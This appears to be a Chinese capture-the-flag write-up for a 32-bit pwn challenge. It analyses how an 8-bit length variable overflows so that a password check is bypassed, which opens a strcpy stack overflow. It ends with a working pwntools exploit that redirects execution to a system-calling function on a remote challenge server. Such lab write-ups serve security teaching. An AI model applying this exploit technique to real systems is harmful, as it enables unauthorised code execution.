文件下载地址:
链接:https://pan.baidu.com/s/1RiL_dBXGdIRsz76Nw0Mj2w
提取码:s8sy
目录
0x01.分析
checksec:
32位程序,开启了NX。
看下源码:
理清一下流程:
- 首先选择1或2,选1登陆。
- 登陆函数中,首先输入名字。
- 然后输入密码。
- 返回到密码检查函数,检查密码的长度,不在(4,8)内直接退出。
- 在这个范围内,使用了strcpy函数赋值密码到dest,然后返回。
- 发现源码中有直接调用system的函数,但程序本身没有调用。
寻找一下漏洞:
- 首先查看两个read函数,buf分配的空间都比实际read读入的要大,没有漏洞。
- strcpy函数的dest只有0x14,但s最多有0x199,存在栈溢出。
- 然后检查s的来源,发现来自第二个read。
- 继续查看检查函数的源码发现,对read读入的字符串s有一个长度的限制,不能超出8。
- 这样的话,暂时无法直接从read读大串字符从strcpy溢出。
- s的长度最终给了v3,是通过v3进行长度的判断,我们查看一下v3。
- 发现v3是8位无符号整数,则最大只能是255。
- read函数的长度是0x199,远大于255。
- 发现可以使用整型溢出。
利用漏洞攻击:
- 要使得v3的值是(4,8),利用整型溢出,我们可以使得read读入长度为(260,264)。
- 这样溢出后,v3的值刚好在范围内。
- 先确定一下strcpy处的偏移:
4.偏移量为0x14+4。
5.查看system的地址:
地址为:0x0804868B
6.可以开始编写攻击脚本。
0x02.exp
##!/usr/bin/env python
from pwn import*
#r=process('./int_overflow')
r=remote("111.198.29.45",48613)
system_adr=0x0804868B
payload=(0x14+4)*'A'+p32(system_adr)
payload+=(260-len(payload))*'A'
r.recvuntil("choice:")
r.sendline('1')
r.recvuntil("username:")
r.sendline("atfwus")
r.recvuntil("passwd:")
r.sendline(payload)
r.interactive()
如颖随心->A 发布了79 篇原创文章 · 获赞 84 · 访问量 8327 私信 关注